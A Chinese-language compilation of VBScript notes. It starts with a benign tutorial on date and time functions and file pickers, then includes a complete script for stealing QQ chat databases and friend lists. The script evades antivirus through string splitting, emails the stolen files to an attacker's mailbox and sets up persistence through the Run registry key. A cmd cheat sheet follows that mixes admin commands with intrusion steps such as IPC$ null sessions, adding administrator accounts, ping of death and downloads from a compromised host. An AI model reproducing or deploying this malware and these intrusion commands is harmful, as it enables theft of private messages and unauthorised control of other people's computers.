Microsoft Visual Basic Script Edition脚本语言收集学习

1291500406

'【将字符串转换成时间类型CDate、TimeValue】
Dim DateAndTime, DTResult
Msgbox "变量 = #2011-4-22 11:44:50 PM#，变量属" & TypeName(#2011-4-22 11:44:50 PM#) & " 型" '##写法指定时间类型
DateAndTime = "2011-4-22 11:44:50 PM"
Msgbox "变量 = ""2011-4-22 11:44:50 PM""" &"，变量属 "& TypeName(DateAndTime) & " 型" '返回String类型
Msgbox "结果: "& Cstr(IsDate(DateAndTime)) & " True:说明变量是日期格式 Date 类型"   '返回布尔值判断是否是时间类型
'TimeValue() 返回包含时间的 Date 子类型的 Variant(变体)。
DTResult1 = TimeValue(DateAndTime)
Msgbox "变量 = TimeValue("""&DTResult1 &"""),变量为 "& TypeName(DTResult1) & " 型"'返回Date类型
Msgbox "结果: "& Cstr(IsDate(DTResult1)) & " True:说明变量是日期格式 Date 类型"
'CDate() 返回已被转换为 Date 子类型的 Variant表达式。
DTResult2 = CDate(DateAndTime)
Msgbox "变量 = CDate("""& DTResult2 &""")，变量为 "& TypeName(DTResult2) & " 型" '返回Date类型
Msgbox "结果: "& Cstr(IsDate(DTResult2)) & " True:说明变量是日期格式 Date 类型"
'【得到系统日期时间、年季月日星期】
Msgbox "系统日期和时间: "& now           '返回当前系统日期和时间
Msgbox "系统日期: "& Date          '返回当前系统日期
Msgbox "系统时间: "& Time          '返回当前系统时间
Msgbox "系统时间 - 年 : "& Year(now)     '年
Msgbox "系统时间 - 月: "& Month(now)    '月
Msgbox "系统时间 - 日: "& Day(now)      '日
Msgbox "系统时间 - 小时: "& Hour(now)     '小时
Msgbox "系统时间 - 分钟: "& Minute(now)   '分钟
Msgbox "系统时间 - 秒: "& Second(now)   '秒
Msgbox "系统时间 - 今天是本周第"& Weekday(now) &"天 "& WeekDayName(Weekday(now))  '今天是这周的第几天(周日为第一天)
'【DatePart函数】
Dim DT
DT = #2/10/96 16:45:30#  '给时间类型变量DT赋值
Msgbox DT& "包含年: "& DatePart("yyyy", DT)   '显示：1996(年)
Msgbox DT& "包含月: "& DatePart("m", DT)      '显示：2(月)
Msgbox DT& "包含日: "& DatePart("d", DT)      '显示：10(日)
Msgbox DT& "包含时: "& DatePart("h", DT)      '显示：16(时)
Msgbox DT& "包含分: "& DatePart("n", DT)      '显示：45(分)
Msgbox DT& "包含秒: "& DatePart("s", DT)      '显示：30(秒)
Msgbox DT& "包含季: "& DatePart("q", DT)      '显示：1，2月是第1季(季)
Msgbox DT& " 是 "& Year(DT) &" 年的第 "& DatePart("y", DT) &" 天"  '显示：41，2月10日是1996年的第41日。(该年第几天)
Msgbox DT& " 是 "& Year(DT) &" 年的第 "& DatePart("ww", DT) &" 周" '显示：6，2月10日是1996年的第6周。(该年第几周)
Msgbox DT& " 是 "& Year(DT) &" 年的第 "& DatePart("ww", DT) &" 周第 "& DatePart("w", DT) &" 天(星期日为第一天)"      '显示：7，2月10日在在1996年是第6周的第7日（星期六）(所在周的第几天)

' 【Timer计时器】返回午夜 12 时（12:00 AM）以后已经过去的秒数。
Msgbox "午夜 12 时（12:00 AM）以后已经过去的秒数(Timer) = "& Timer '返回午夜 12 时（12:00 AM）以后已经过去的秒数。
' 【TimeSerial】返回一个 Date 子类型的 Variant，含有指定时、分、秒的时间。
Dim MyTime1
MyTime1 = TimeSerial(12 - 6, -15, 0)
Msgbox "MyTime1=TimeSerial(12-6,-15,0)，MyTime1 返回 "&"""& MyTime1 &"""              ' 返回 上午 05:45:00.

' 【格式转换FormatDateTime、MonthName、WeekdayName】
' 语法: FormatDateTime(date, format)
DT1 = #2001/2/22#
DT2 = #3:15:55 PM#
DT3 = #2001/2/22 3:15:55 PM#
' format 为 0  vbGeneralDate  显示日期和/或时间。有哪个显示哪个，都有都显示
Msgbox FormatDateTime(DT1)       ' 返回 2001-2-22
Msgbox FormatDateTime(DT2)       ' 返回 下午 03:15:55
Msgbox FormatDateTime(DT3)       ' 返回 2001-2-22 下午 03:15:55
' format 为 1  vbLongDate  使用指定的长日期格式显示日期。
Msgbox FormatDateTime(DT1, 1)    ' 返回 2001年2月22日
Msgbox FormatDateTime(DT2, 1)    ' 返回 1899年12月30日
Msgbox FormatDateTime(DT3, 1)    ' 返回 2001年2月22日
' format 为 2  vbShortDate  使用指定的短日期格式显示日期。
Msgbox FormatDateTime(DT1, 2)    ' 返回 2001-2-22
Msgbox FormatDateTime(DT2, 2)    ' 返回 1899-12-30
Msgbox FormatDateTime(DT3, 2)    ' 返回 2001-2-22
' format 为 3  vbLongTime  使用此格式显示时间：hh:mm:ss PM/AM
Msgbox FormatDateTime(DT1, 3)    ' 返回 上午 12:00:00
Msgbox FormatDateTime(DT2, 3)    ' 返回 下午 03:15:55
Msgbox FormatDateTime(DT3, 3)    ' 返回 下午 03:15:55

' format 为 4  vbShortTime  使用 24 小时格式 (hh:mm) 显示时间。
Msgbox FormatDateTime(DT1, 4)    ' 返回 00:00
Msgbox FormatDateTime(DT2, 4)    ' 返回 15:15
Msgbox FormatDateTime(DT3, 4)    ' 返回 15:15

' 【MonthName】返回月份名
' 下面例子返回1月至12月的名称。
For i=1 to 12 '1月到12月
'默认false不显示缩写；True显示缩写，中文系统中输出仍为汉字月份名称
Msgbox "遍历月份名称: "& MonthName(i) &"  缩写: "& MonthName(i, True)
Next
' 【WeekDayName】返回星期几
For i=1 to 7
Msgbox "遍历星期名称: "& WeekDayName(i) &"  缩写: "& WeekDayName(i, True) '返回星期日到星期六
Next
' 【DateAdd、DateDiff】
' DateAdd 函数可返回已添加指定时间间隔的日期。
' yyyy - 年
' q - 季度
' m - 月
' y - 当年的第几天
' d - 日
' w - 当周的第几天
' ww - 周
' h - 小时
' n - 分钟
' s - 秒
Msgbox DateAdd("m", 1, "31-Jan-95")
'在这个示例中，DateAdd 返回 95 年 2 月 28 日，
'而不是 95 年 2 月 31 日。
'如果 date 为 96 年 1 月 31 日，
'则返回 96 年 2 月 29 日，这是因为 1996 是闰年。
Msgbox """2010-4-22"""& " 添加了4年返回 "& DateAdd("YYYY", 4, "2010-4-22")
Msgbox """2010-4-22"""& " 添加了4个月返回 "& DateAdd("m", 4, "2010-4-22")
Msgbox """2010-4-22"""& " 添加了4天返回 "& DateAdd("d", 4, "2010-4-22")
Msgbox """2010-4-22"""& " 添加了4周返回 "& DateAdd("ww", 4, "2010-4-22")
Msgbox """13:20:52"""& " 添加了4小时返回 "& DateAdd("h", 4, "13:20:52")
Msgbox """13:20:52"""& " 添加了4分钟返回 "& DateAdd("n", 4, "13:20:52")
Msgbox """13:20:52"""& " 添加了4秒钟返回 "& DateAdd("s", 4, "13:20:52")
' 减少用负值，例如:Msgbox DateAdd("s", -4, "13:20:52")

' DateDiff 返回两个时间点之间的时间间隔
Msgbox "当前日期与 "& "12/31/2010" &" 相差的月数 = "& DateDiff("m", "12/31/2010", Date)
Msgbox "当前日期与 "& "12/31/2010" &" 相差的天数 = "& DateDiff("d", "12/31/2010", Date)
Msgbox "当前时间与 "& "01:17:34" &" 相差分钟数 = "& DateDiff("n", "01:17:34", Time)
Dim StarTime, EndTime
StarTime = #2020-4-22#
EndTime = Date
Msgbox EndTime &" 和 "& StarTime &" 相差的月份数 = "& DateDiff("m", StarTime, EndTime)  '返回2020-4-22与现在日期相差的月数
dim a
a=datevalue("2020-08-08")
msgbox datediff("d",now,a)



'文件选中
Function SelectFile()
    Set oExec = CreateObject("WScript.Shell")._
    Exec("mshta.exe ""about:<input type=file id=path><script>path.click();new ActiveXObject('Scripting.FileSystemObject').GetStandardStream(1).WriteLine(path.value);close();resizeTo(0,0);</script>""")
    StrLine = oExec.StdOut.ReadAll
    Pos = InStr(StrLine, Chr(13))
    If Pos <= 0 Then
        SelectFile = ""
    Else
        SelectFile = Left(StrLine, Pos - 1)
    End If
End Function

Function SelectFolder(default)
    If IsNull(default) Then
        default = "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
    End If
    Set Folder = CreateObject("Shell.Application").BrowseForFolder(0, "", 0, default)
    If Folder Is Nothing Then
        SelectFolder = ""
    Else
        SelectFolder = Folder.Self.Path
    End If
End Function

MsgBox SelectFile()
MsgBox SelectFolder(Null)



vbs盗QQ聊天记录与好友列表
on error resume next
Dim keyWord1, keyWord2, Fso, outFile, sPath
'查找qq安装路径,本文件路径
Set ws=CreateObject("wscript.shell")
Set fso=CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect") '免杀 将引用的目标字符串名差分   只过了瑞星
Set qqpath=fso.getfolder(ws.regread("HKLM\SOFTWARE\Tencent\QQ\Install")) 是从注册表中找到路径的

Set fso=Nothing
Set ws=Nothing


'查找qq文件的路径，写入SearchResult.txt
Set fso1=CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect")
keyWord1 = LCase("user.db")
keyWord2 = LCase("MsgEx.db")
sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))
set outFile = fso1.createtextfile(sPath & "\SearchResult.txt")
myFind qqpath
outFile.close
set outFile = nothing
set fso1 = nothing
'******************************
'启动10分钟后发邮件            
wscript.sleep 1000*60*10
'******************************
'读取SearchResult.txt   这是个循环 循环读取SearchResult.txt的内容并以附件的形式发送到邮件
dim fso2,fread,strline
set fso2=createobject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect")
set fread=fso2.opentextfile("SearchResult.txt",1)
do until fread.atendofstream
strline=fread.readline
getfso=fso2.GetFile(strline).ParentFolder
folder=fso2.GetFolder(getfso).Name
'*******************修改以下信息
'发送带附件的邮件   这是关键的部分
最好使用163的   新浪的就不可以
If Send_Mail("这写要发送的邮箱","发送邮箱密码","发送到目标邮箱（例如：xx@163.com）","","来自QQ:"&folder,"邮件内容 123456489798798",strline)=True Then
'Wscript.Echo "发送成功"不显示
Else
'Wscript.Echo "发送失败"
End If

loop
fread.close
set fso=nothing

'设置开机启动
Set fs=CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect") '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作
Set dir1=fs.GetSpecialFolder(0) '获取Windows/WinNT文件夹位置
Set dir2=fs.GetSpecialFolder(1) '获取System32/System文件夹位置
Set so=CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect")
dim r '定义一个变量
Set r=CreateObject("Wscript.Shell")
If Not so.FileExists(dir1&"\Win32system.vbs") Then
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs") '复制病毒副本到Windows/WinNT文件夹位置
End If
If Not so.FileExists(dir2&"\Win32system.vbs") Then
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs") '复制病毒副本到System32/System文件夹位置
End If 其实只要这个就可以
If Not so.FileExists(dir1&"\Win32system.vbs") Then
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs") '复制病毒副本到Start Menu启动菜
End If

r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system",dir2&"\Win32system.vbs"
set so=nothing
set r=nothing

'查找 得到qq文件路径后查找
Sub myFind(ByVal thePath)
Dim fso, myFolder, myFile, curFolder
Set fso = wscript.CreateObject("sc"+"rip"+"ti"+"ng"+".f"+"ile"+"sy"+"ste"+"mobj"+"ect")
Set curFolders = fso.getfolder(thePath)
If curFolders.Files.Count > 0 Then
For Each myFile In curFolders.Files
If InStr(1, LCase(myFile.Name), keyWord1) > 0 or InStr(1, LCase(myFile.Name), keyWord2) > 0 Then
outFile.WriteLine FormatPath(thePath) & "\" & myFile.Name
End If
Next
End If
If curFolders.subfolders.Count > 0 Then
For Each myFolder In curFolders.subfolders
myFind FormatPath(thePath) & "\" & myFolder.Name
Next
End If
End Sub


'路径格式
Function FormatPath(ByVal thePath)
thePath = Trim(thePath)
FormatPath = thePath
If Right(thePath, 1) = "\" Then FormatPath = Mid(thePath, 1, Len(thePath) - 1)
End Function

'邮件设置 网上找的
function Send_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)
'code by NetPatch
'VBS发送邮件参数说明
'You_Account：你的邮件帐号
'You_Password:你的邮件密码
'Send_Email:主要邮件地址
'Send_Email2: 备用邮件地址
'Send_Topic:邮件主题
'Send_Body:邮件内容
'Send_Attachment:邮件附件
You_ID=Split(You_Account, "@", -1, vbTextCompare)'帐号和服务器分离
MS_Space = "http://schemas.microsoft.com/cdo/configuration/"'这个是必须要的，不过可以放心的事，不会通过微软发送邮件
Set Email = CreateObject("CDO.Message")
Email.From = You_Account'这个一定要和发送邮件的帐号一样
Email.To = Send_Email
'主要邮件地址
If Send_Email2 <> "" Then
Email.CC = Send_Email2
'备用邮件地址
End If
Email.Subject = Send_Topic
'邮件主题
Email.Textbody = Send_Body
'邮件内容
If Send_Attachment <> "" Then
Email.AddAttachment Send_Attachment
'邮件附件
End If
With Email.Configuration.Fields
.Item(MS_Space&"sendusing") = 2
'发信端口
.Item(MS_Space&"smtpserver") = "smtp."&You_ID(1)
'SMTP服务器地址
.Item(MS_Space&"smtpserverport") = 25
'SMTP服务器端口
.Item(MS_Space&"smtpauthenticate") = 1
'cdobasec
.Item(MS_Space&"sendusername") = You_ID(0)
'你的邮件帐号
.Item(MS_Space&"sendpassword") = You_Password
'你的邮件密码
.Update
End With
Email.Send
'发送邮件
Set Email=Nothing
'关闭组件
Send_Mail=True
'如果没有任何错误信息，则表示发送成功,否则发送失败
If Err Then
Err.Clear
Send_Mail=False
End If
End Function





cmd命令

            set objshell=createobject("wscript.shell")
            objshell.run("%comspec% /k **********"),1,true
其中那一串*********就是你可以加进去的命令符

脚本的第一行简单创建了 WSH Shell 对象的一个实例，然后在第二行使用 Run 方法调用 cmd 命令。

%comspec%
打开一个命令行窗口。%comspec% 是一个指向当前命令行外壳的环境变量。通过使用 %comspec%，您不必担心命令行外壳是 cmd.exe 还是 command.exe；%comspec% 会自动选择正确的一个。
/k
在调用你给出的命令后，确保窗口始终保持打开。这就是 /k 参数的用处。如果我们想要确保命令窗口会在你给出的命令调用完成后被自动关闭，应该将 /k (keep) 修改为 /c (close)。



例如，我们要实现一个功能，就是去修改本地的administrator的密码，改后为123456，可以这样写：
            set objshell=createobject("wscript.shell")
            objshell.run("%comspec% /k net user administrator 123456"),1,true

下面附带一些cmd命令（太长了，需要什么Ctrl+F找吧……）：
CMD常用命令 计算机运行命令全集

winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介（安装完成后出现的漫游xp程序）
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具，系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略

net use ipipc$ " " /user:" " 建立IPC空链接
net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: ipc$ 登陆后映射对方C：到本地为H:
net use ipipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 停止某服务
net time 目标ip 查看对方时间
net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
二：
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if 在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )
三：
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

四：

IIS服务命令：
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
iisreset /start或stop 启动（停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote－dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip

#5 五：

MYSQL 命令：
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。
use mysql；
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名；
create table 表名 (字段设定列表)； 建表
drop database 库名;
drop table 表名； 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的mysql in目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。
win2003系统下新增命令（实用部份）：
shutdown /参数 关闭或重启本地或远程主机。
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。
例：shutdown /r /t 0 立即重启本地主机（无延时）
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程